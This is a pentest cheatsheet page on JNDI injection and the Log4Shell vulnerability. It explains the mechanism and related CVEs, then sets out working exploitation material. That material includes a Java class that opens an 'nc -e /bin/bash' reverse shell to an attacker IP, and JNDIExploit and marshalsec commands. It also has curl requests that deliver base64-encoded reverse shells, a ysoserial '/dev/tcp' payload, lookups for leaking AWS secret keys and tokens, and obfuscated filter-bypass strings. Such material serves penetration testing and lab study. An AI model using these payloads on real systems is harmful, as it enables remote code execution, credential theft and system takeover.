daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

jndi-java-naming-and-directory-interface-and-log4shell.md (32272B)


      1 ---
      2 title: "JNDI - Java Naming and Directory Interface & Log4Shell"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # JNDI - Java Naming and Directory Interface & Log4Shell
     14 
     15 ## Basic Information
     16 
     17 JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.
     18 
     19 ### JNDI Naming Reference
     20 
     21 Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:
     22 
     23 - **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
     24 - **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
     25 
     26 However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:
     27 
     28 - **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
     29 - **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
     30 - **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
     31 
     32 However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.
     33 
     34 Examples of exploitable URLs include:
     35 
     36 - _rmi://attacker-server/bar_
     37 - _ldap://attacker-server/bar_
     38 - _iiop://attacker-server/bar_
     39 
     40 Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     41 
     42 ### JNDI Example
     43 
     44 ![JNDI Naming Reference - JNDI Example: Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281022%29.png)
     45 
     46 Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     47 
     48 ### CORBA Overview
     49 
     50 CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like:
     51 
     52 - **Type ID**: Unique identifier for an interface.
     53 - **Codebase**: URL for obtaining the stub class.
     54 
     55 Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:
     56 
     57 - Installation of a **Security Manager**.
     58 - Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
     59   - Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
     60   - File read permissions, either universally (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) or for specific directories where malicious files might be placed.
     61 
     62 However, some vendor policies might be lenient and allow these connections by default.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     63 
     64 ### RMI Context
     65 
     66 For RMI (Remote Method Invocation), the situation is somewhat different. As with CORBA, arbitrary class downloading is restricted by default. To exploit RMI, one would typically need to circumvent the Security Manager, a feat also relevant in CORBA.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     67 
     68 ### LDAP
     69 
     70 First of all, wee need to distinguish between a Search and a Lookup.\
     71 A **search** will use an URL like `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server and **retreive its attributes**.\
     72 A **lookup** is meant for **naming services** as we want to get **whatever is bound to a name**.
     73 
     74 If the LDAP search was invoked with **SearchControls.setReturningObjFlag() with `true`, then the returned object will be reconstructed**.
     75 
     76 Therefore, there are several ways to attack these options.\
     77 An **attacker may poison LDAP records introducing payloads** on them that will be executed in the systems that gather them (very useful to **compromise tens of machines** if you have access to the LDAP server). Another way to exploit this would be to perform a **MitM attack in a LDAP searc**h for example.
     78 
     79 In case you can **make an app resolve a JNDI LDAP UR**L, you can control the LDAP that will be searched, and you could send back the exploit (log4shell).<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     80 
     81 #### Deserialization exploit
     82 
     83 ![LDAP - Deserialization exploit: Deserialization exploit](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28275%29.png)
     84 
     85 The **exploit is serialized** and will be deserialized.\
     86 In case `trustURLCodebase` is `true`, an attacker can provide his own classes in the codebase if not, he will need to abuse gadgets in the classpath.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     87 
     88 #### JNDI Reference exploit
     89 
     90 It's easier to attack this LDAP using **JavaFactory references**:
     91 
     92 ![Deserialization exploit - JNDI Reference exploit: JNDI Reference exploit](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281059%29.png)
     93 
     94 ## Log4Shell Vulnerability
     95 
     96 The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
     97 
     98 [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introduced a `jndi` Lookup feature. This feature enables the retrieval of variables through JNDI. Typically, the key is automatically prefixed with `java:comp/env/`. However, if the key itself includes a **":"**, this default prefix is not applied.
     99 
    100 With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
    101 
    102 Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.<sup>[[3]](#references)</sup>
    103 
    104 ## Overview of Log4Shell-Related CVEs
    105 
    106 ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
    107 
    108 This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).<sup>[[4]](#references)</sup>
    109 
    110 ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
    111 
    112 Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method.<sup>[[5]](#references)</sup> The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.<sup>[[4]](#references)</sup>
    113 
    114 ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
    115 
    116 Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.<sup>[[4]](#references)</sup>
    117 
    118 ### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
    119 
    120 This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.<sup>[[4]](#references)</sup>
    121 
    122 ### **CVE-2021-45105** **\[High]**
    123 
    124 Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).<sup>[[6]](#references)</sup>
    125 
    126 ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
    127 
    128 Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).<sup>[[7]](#references)</sup>
    129 
    130 ## Log4Shell Exploitation
    131 
    132 ### Discovery
    133 
    134 This vulnerability is very easy to discover if unprotected because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:
    135 
    136 - `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
    137 - `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
    138 - `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
    139 - `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
    140 - `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
    141 
    142 Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.
    143 
    144 > [!TIP]
    145 > Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
    146 
    147 #### **Local Discovery**
    148 
    149 Search for **local vulnerable versions** of the library with:
    150 
    151 ```bash
    152 find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
    153 ```
    154 
    155 ### **Verification**
    156 
    157 Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested.\
    158 This can be very useful for 2 things:
    159 
    160 - To **verify** the vulnerability
    161 - To **exfiltrate information** abusing the vulnerability
    162 
    163 For example you could request something like:\
    164 or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.
    165 
    166 Other information you could try to **leak**:
    167 
    168 ```text
    169 ${env:AWS_ACCESS_KEY_ID}
    170 ${env:AWS_CONFIG_FILE}
    171 ${env:AWS_PROFILE}
    172 ${env:AWS_SECRET_ACCESS_KEY}
    173 ${env:AWS_SESSION_TOKEN}
    174 ${env:AWS_SHARED_CREDENTIALS_FILE}
    175 ${env:AWS_WEB_IDENTITY_TOKEN_FILE}
    176 ${env:HOSTNAME}
    177 ${env:JAVA_VERSION}
    178 ${env:PATH}
    179 ${env:USER}
    180 ${hostName}
    181 ${java.vendor}
    182 ${java:os}
    183 ${java:version}
    184 ${log4j:configParentLocation}
    185 ${sys:PROJECT_HOME}
    186 ${sys:file.separator}
    187 ${sys:java.class.path}
    188 ${sys:java.class.path}
    189 ${sys:java.class.version}
    190 ${sys:java.compiler}
    191 ${sys:java.ext.dirs}
    192 ${sys:java.home}
    193 ${sys:java.io.tmpdir}
    194 ${sys:java.library.path}
    195 ${sys:java.specification.name}
    196 ${sys:java.specification.vendor}
    197 ${sys:java.specification.version}
    198 ${sys:java.vendor.url}
    199 ${sys:java.vendor}
    200 ${sys:java.version}
    201 ${sys:java.vm.name}
    202 ${sys:java.vm.specification.name}
    203 ${sys:java.vm.specification.vendor}
    204 ${sys:java.vm.specification.version}
    205 ${sys:java.vm.vendor}
    206 ${sys:java.vm.version}
    207 ${sys:line.separator}
    208 ${sys:os.arch}
    209 ${sys:os.name}
    210 ${sys:os.version}
    211 ${sys:path.separator}
    212 ${sys:user.dir}
    213 ${sys:user.home}
    214 ${sys:user.name}
    215 
    216 Any other env variable name that could store sensitive information
    217 ```
    218 
    219 ### RCE Information
    220 
    221 > [!TIP]
    222 > Hosts running on JDK versions above 6u141, 7u131, or 8u121 are safeguarded against the LDAP class loading attack vector. This is due to the default deactivation of `com.sun.jndi.ldap.object.trustURLCodebase`, which prevents JNDI from loading a remote codebase via LDAP. However, it's crucial to note that these versions are **not protected against the deserialization attack vector**.
    223 >
    224 > For attackers aiming to exploit these higher JDK versions, it's necessary to leverage a **trusted gadget** within the Java application. Tools like ysoserial or JNDIExploit are often used for this purpose. On the contrary, exploiting lower JDK versions is relatively easier as these versions can be manipulated to load and execute arbitrary classes.
    225 >
    226 > For **more information** (_like limitations on RMI and CORBA vectors_) **check the previous JNDI Naming Reference section** or [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
    227 
    228 ### RCE - Marshalsec with custom payload
    229 
    230 You can test this in the **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)<sup>[[8]](#references)</sup>
    231 
    232 Use the tool [**marshalsec**](https://github.com/mbechler/marshalsec) (jar version available [**here**](https://github.com/RandomRobbieBF/marshalsec-jar)). This approach establishes a LDAP referral server to redirect connections to a secondary HTTP server where the exploit will be hosted:
    233 
    234 ```bash
    235 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
    236 ```
    237 
    238 To prompt the target to load a reverse shell code, craft a Java file named `Exploit.java` with the content below:
    239 
    240 ```java
    241 public class Exploit {
    242     static {
    243         try {
    244             java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
    245         } catch (Exception e) {
    246             e.printStackTrace();
    247         }
    248     }
    249 }
    250 ```
    251 
    252 Compile the Java file into a class file using: `javac Exploit.java -source 8 -target 8`. Next, initiate a **HTTP server** in the directory containing the class file with: `python3 -m http.server`. Ensure the **marshalsec LDAP server** references this HTTP server.
    253 
    254 Trigger the execution of the exploit class on the susceptible web server by dispatching a payload resembling:
    255 
    256 ```bash
    257 ${jndi:ldap://<LDAP_IP>:1389/Exploit}
    258 ```
    259 
    260 **Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.
    261 
    262 ### RCE - **JNDIExploit**
    263 
    264 > [!TIP]
    265 > Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln.
    266 >
    267 > The source code is not available in the Wayback Machine snapshot. Analyze a trustworthy recovered copy before use, or choose another tool instead of executing an unaudited JAR.
    268 
    269 For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_.
    270 
    271 Then, you can download the **JNDIExploit** jar file and execute it with:
    272 
    273 ```bash
    274 wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
    275 unzip JNDIExploit.v1.2.zip
    276 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
    277 ```
    278 
    279 After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
    280 In _com.feihong.ldap.gadgets_, you can find **specific gadgets** that perform the requested action, potentially including arbitrary code execution. The _com.feihong.ldap.template_ package contains the template classes that **generate the exploits**.
    281 
    282 You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
    283 
    284 ```bash
    285 ldap://null:1389/Basic/Dnslog/[domain]
    286 ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
    287 ldap://null:1389/Basic/ReverseShell/[ip]/[port]
    288 # But there are a lot more
    289 ```
    290 
    291 So, in our example, we already have that docker vulnerable app running. To attack it:
    292 
    293 ```bash
    294 # Create a file inside of th vulnerable host:
    295 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
    296 
    297 # Get a reverse shell (only unix)
    298 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
    299 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
    300 ```
    301 
    302 When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**.
    303 
    304 **Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.**
    305 
    306 ### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
    307 
    308 In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
    309 You can generate the URLs to send to the victim running:
    310 
    311 ```bash
    312 # Get reverse shell in port 4444 (only unix)
    313 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
    314 
    315 # Execute command
    316 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
    317 ```
    318 
    319 _This attack using a custom generated java object will work in labs like the **THM solar room**. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code._
    320 
    321 ### RCE - JNDI-Injection-Exploit-Plus
    322 
    323 [https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is another tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.\
    324 
    325 ### RCE - ysoserial & JNDI-Exploit-Kit
    326 
    327 This option is useful against applications on Java versions configured to trust only specified classes. **ysoserial** generates serialized graphs of trusted classes that can act as gadgets for **arbitrary code execution**; the target application must have the gadget class used by ysoserial on its classpath.
    328 
    329 Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
    330 
    331 ```bash
    332 # Rev shell via CommonsCollections5
    333 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
    334 ```
    335 
    336 Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where payloads wait for connections from vulnerable machines. The kit can serve its **automatically generated exploits** or **custom deserialization payloads** generated manually or with ysoserial.
    337 
    338 ```bash
    339 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
    340 ```
    341 
    342 ![RCE - ysoserial & JNDI-Exploit-Kit - Rev shell via CommonsCollections5: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281118%29.png)
    343 
    344 Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`**
    345 
    346 ### Bypasses
    347 
    348 ```java
    349 ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
    350 ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
    351 ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
    352 ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
    353 ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
    354 ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
    355 ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
    356 ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
    357 ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
    358 ```
    359 
    360 ### Automatic Scanners
    361 
    362 - [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
    363 - [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
    364 - [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
    365 - [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
    366 - [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
    367 - [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
    368 - [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
    369 - [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries
    370 
    371 ### Labs to test
    372 
    373 - [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)<sup>[[9]](#references)</sup>
    374 - [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)<sup>[[8]](#references)</sup>
    375 - [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
    376 - [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
    377 
    378 ## Post-Log4Shell Exploitation
    379 
    380 In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.<sup>[[10]](#references)</sup>
    381 
    382 The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences:
    383 
    384 > From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.
    385 
    386 > From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.
    387 
    388 This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure.
    389 
    390 For example, in that CTF this was configured in the file log4j2.xml:
    391 
    392 ```xml
    393 <Console name="Console" target="SYSTEM_ERR">
    394     <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
    395     </PatternLayout>
    396 </Console>
    397 ```
    398 
    399 ### Env Lookups
    400 
    401 In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.<sup>[[11]](#references)</sup>\
    402 As shown in the [**previous payloads**](/hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell#verification), lookup syntax can access environment variables, for example **`${env:FLAG}`**. This did not directly solve the CTF challenge, but it can be useful in other environments.<sup>[[11]](#references)</sup>
    403 
    404 ### Exfiltration in Exceptions
    405 
    406 In the CTF, the attacker **could not access the Java application's stderr** through Log4j, but the Python wrapper printed Log4j **exceptions written to stdout**. Triggering an exception therefore exposed its content. One payload used to exfiltrate the flag was **`${java:${env:FLAG}}`**: because a lookup such as **`${java:CTF{blahblah}}`** does not exist, the resulting exception reveals the lookup value.
    407 
    408 ![Env Lookups - Exfiltration in Exceptions: In the CTF, you couldn't access the stderr of the java application using log4J, but Log4J exceptions are sent to stdout , which was printed in...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281023%29.png)
    409 
    410 ### Conversion Patterns Exceptions
    411 
    412 Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example:
    413 
    414 ![Exfiltration in Exceptions - Conversion Patterns Exceptions: Just to mention it, you could also inject new conversion patterns and trigger exceptions that will be logged to stdout. For...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28683%29.png)
    415 
    416 This did not exfiltrate data inside the error message because the lookup was not resolved before the conversion pattern, but it can still provide a behavioral detection signal.
    417 
    418 ### Conversion Patterns Regexes
    419 
    420 However, some **conversion patterns support regular expressions**. They can be used to infer lookup data through **binary-search** or **time-based** behavior.
    421 
    422 - **Binary search via exception messages**
    423 
    424 The **`%replace`** conversion pattern can **replace content in a string** using regular expressions. Its form is `replace{pattern}{regex}{substitution}`.\
    425 Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
    426 
    427 ```bash
    428 %replace{${env:FLAG}}{^CTF.*}{${error}}
    429 # The string searched is the env FLAG, the regex searched is ^CTF.*
    430 ## and ONLY if it's found ${error} will be resolved with will trigger an exception
    431 ```
    432 
    433 - **Time-based**
    434 
    435 As mentioned above, **`%replace`** supports regular expressions. A payload from the [**ReDoS page**](/hacktricks/pentesting-web/regular-expression-denial-of-service-redos) can therefore cause a **timeout** when a guessed flag prefix matches.\
    436 For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF.
    437 
    438 In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:<sup>[[10]](#references)</sup>
    439 
    440 > ```
    441 > /%replace{
    442 > %replace{
    443 > %replace{
    444 > %replace{
    445 > %replace{
    446 > %replace{
    447 > %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
    448 > }{#}{######################################################}
    449 > }{#}{######################################################}
    450 > }{#}{######################################################}
    451 > }{#}{######################################################}
    452 > }{#}{######################################################}
    453 > }{#}{######################################################}
    454 > }{#}{######################################################}
    455 > ```
    456 >
    457 > If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
    458 >
    459 > Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code)
    460 
    461 ## References
    462 
    463 - [1] [A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land (Black Hat talk)](https://www.youtube.com/watch?v=Y8a5nB-vy78)
    464 - [2] [A Journey from JNDI/LDAP Manipulation to RCE (Black Hat US16 whitepaper)](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
    465 - [3] [Inside the log4j2 vulnerability (CVE-2021-44228) - Cloudflare Blog](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
    466 - [4] [All the Log4j, Logback bugs we know so far, and why you must ditch 2.15 - BleepingComputer](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
    467 - [5] [Tweet demonstrating a CVE-2021-45046 bypass](https://twitter.com/marcioalm/status/1471740771581652995)
